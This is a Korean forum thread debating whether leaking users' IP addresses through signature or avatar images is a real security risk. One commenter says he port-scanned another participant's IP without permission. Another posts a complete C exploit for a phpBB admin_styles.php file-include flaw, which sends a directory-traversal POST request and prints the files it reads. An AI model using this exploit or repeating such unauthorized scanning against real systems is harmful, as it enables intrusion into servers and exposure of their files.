nobody.nomail.com의 이미지

 

익명 사용자의 이미지

또 다른 방법이 있어요.
이미지를 저처럼 자신의 서명에 넣어두고
그 이미지를 전송하는 서버에서 해당 접속이 들어오는 것을
알수 있습니다.
그런데 접속자의 IP를 알수 있는 방법은 너무나 많은거 같습니다.

보안권고 사항이라기 보다는
사용자에게 주의가 낳겠군요.

익명 사용자의 이미지

IP 주소를 알아내는 것이 보안상 어떻게 문제가 되지요?

hyunuck의 이미지

방준영 wrote:
IP 주소를 알아내는 것이 보안상 어떻게 문제가 되지요?

http://www.xfocus.org/documents/200307/2.html
이런류의 장난의 대상이 될 수도 있겠지요.

물론, 이 경우에는 대부분의 사용자가 유동IP 이므로 별 문제는 없겠지만요. :-)
-------------------------------------------------------------------------------------

그리고 sdnrui 님, 보안권고는 이런식으로 해서는 않됩니다.
다음에는 조용히 메일로 보내시는게 좋을듯 하네요.

익명 사용자의 이미지

방준영 wrote:
IP 주소를 알아내는 것이 보안상 어떻게 문제가 되지요?

흠... 방준영님의 IP( 21x.18x.4x.11x)를 스캔해봤습니다. (죄송합니다. 이런짓 하면 안되는데)
IP가 틀릴수도 있습니다. 해당 시간대에 엄청난 접속이 있어서... 찾기 힘들군요.

전부 해보진 않았고
준영님의 PC는 보안이 아주 철저하군요.
SSH데몬 하나 딸랑 떠있군요.
잘 관리하시는 분이네요.

B00m의 이미지

제 생각에 이건 보안권고 사항이라는 생각은 들지 않는군요..

ip 를 알아낼 수 있는 방법은 너무 많으니까요..

요즘은 메신저나 공유 프로그램들도 많이 쓰고 p2p 방식을 많이 쓰기 때문에 개인 컴퓨터들의 아이피를 알아내는건 넘 쉽습니다.

위에서 어떤 분이 말씀하신 윈도우 보안 버그는 윈도우 상의 문제라고 할 수 있는 것이고..

하여튼 별 중요한 권고 사항은 아닌것 같습니다.

송지석의 이미지

한때 유행했던 윈도 메신저 서비스를 이용한 광고도 ip를 이용합니다.

지금도 뜨시는 분이 있을텐데요.. 저도 며칠전에 PC방 가서 스타하다가 갑자기 메신저가 떠버려서 작업 전환이 되는 바람에 게임에 진적이 있습니다. ^_^

혹시 모르는 분들을 위해서

메신저 서비스란, msn메신저가 아니라 윈도 시스템 끼리 사용하는 메신저 서비스입니다. 제어판의 서비스에 보면 메신저 서비스라는 데몬이 자동으로 켜있습니다.

네트웍 관리자 같은 사람이 공지 날릴 때 쓰라고 만든 것 같은데요.

어떤 프로그램은 스팸 메일 대신 이걸 쓰더군요.

어느날 갑자기 이상한 광고 다이얼로그 박스가 떠서 바이러스 검사하고 포맷하고 별짓 다했었는데 알고보니 누군가 (무작위로?) 보내는 메신저 광고 메시지였습니다.

버려진의 이미지

생각난김에 좀 지난거긴 하지만.. phpbb Admin_Styles.PHP Theme_Info.CFG File Include Vulnerability

http://www.phpbb.com/phpBB/viewtopic.php?t=113826

exploit :

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main()
{
	//The socket stuff
	struct hostent *hp;
	struct sockaddr_in sa;
	int sock;

	//The input stuff
	char server[100];
	char location[100];
	char sfile[100];
	int escapes;
	char* file;

	//The request stuff
	char* request;
	char* postdata;
	char* header;

	//The buffer to store the response
	char buffer[4096];
	int tworeturns = 0;
	int showing = 0;

	//Other
	int i;

	//Ask the server
	printf("Server: ");
	scanf("%100s", server);
	printf("Forum location: ");
	scanf("%100s", location);
	printf("Directories to escape: ");
	scanf("%i", &escapes);
	printf("File to get/execute: ");
	scanf("%100s", sfile);


	//Start the exploit!
	printf("\n\nStarting the exploit...\n");

	//Connect to the server
	printf("Creating socket... ");
	if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		printf("Failed!\n");
		return 0;
	} else{
		printf("Done!\n");
	}


	printf("Looking up server IP... ");
	if((hp = gethostbyname((char*)server)) == NULL)
	{
		printf("Failed!\n");
		return 0;
	} else {
		printf("Done!\n");
	}


	printf("Connecting %s:80... ", server);
	memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
	sa.sin_family = AF_INET;
	sa.sin_port = htons(80);
	if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
	{
		printf("Failed!\n");
		return 0;
	} else {
		printf("Done!\n");
	}


	//Create the request
	printf("Building request... ");

	//Create the postdata
	file = (char*)malloc(sizeof(char) * (escapes * 3 +
strlen(sfile) + 1));

	while(escapes > 0)
	{
		if(escapes == 1)
		{
			sprintf(file, "%s%s%s", file, "..", sfile);
		} else {
			sprintf(file, "%s%s", file, "../");
		}

		escapes --;
	}

	postdata = (char*)malloc((27 + strlen(file)) *
sizeof(char));
	sprintf(postdata, "send_file= &install_to=%s%s00",
file, "%");

	header = (char*)malloc((170 + strlen(server) +
strlen(location)) * sizeof(char));
	sprintf(header, "POST
/%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type:
application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n",
location, server, strlen(postdata));

	request = (char*)malloc((strlen(postdata) +
strlen(header) + 1) * sizeof(char));
	sprintf(request, "%s%s", header, postdata);

	printf("Done!\n");


	//Send the request
	printf("Sending request... ");
	write(sock, request, strlen(request));
	printf("Done!\n");

	printf("\nResponse:\n");
	//Get the response
	while(recv(sock, buffer, 4096, 0) != 0)
	{
		for(i = 0; i < strlen(buffer); i++)
		{
			//Only show the character when it should
			if(showing == 1)
			{
				printf("%c", buffer[ i ]);
			}


			//Stop showing from \n<br>\n
			if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
			{
				showing = 0;
				tworeturns = 0;
			}
			//Or from \n<br />\n
			if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' &&
showing == 1)
			{
				showing = 0;
				tworeturns = 0;
			}

			//If there's a return and tworeturns = true, start
showing it
			if(buffer[ i ] == '\n' && tworeturns == 1)
			{
				showing = 1;
			}

			//If there are two returns, set tworeturns to true
and add 3 to i
			if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' &&
buffer[i + 2] == '\r' && buffer[i + 3] == '\n')
			{
				tworeturns = 1;
				i += 3;
			}
		}
	}
	printf("\n");

	return 0;
}
지리즈의 이미지

NT기반에 Administrator에 패스워드가 없으면...
그냥 피시를 꺼버릴 수도 있지요....

There is no spoon. Neo from the Matrix 1999.

morris의 이미지

흠 단순히 ip알아낼려고 복잡하게 해슁까지 해서 한다는건

좀 무리가 있군요

해킹할려고 맘먹으면 다른 수단을 이용했겠지요

XSS라던지 email이라던지

아바타 기능이 업로드시에 ip가 노출된다고 해서

끌 필요는 없다고 생각합니다.

말그대로 소소한 단점이라 생각됩니다.

패치만 제대로 해도 뚫리질 않죠

물론 그루라면 다르겠지만, 그 정도 되는 사람이 ip알아내는데

이거 해슁 이용하리라고 생각되진 않네요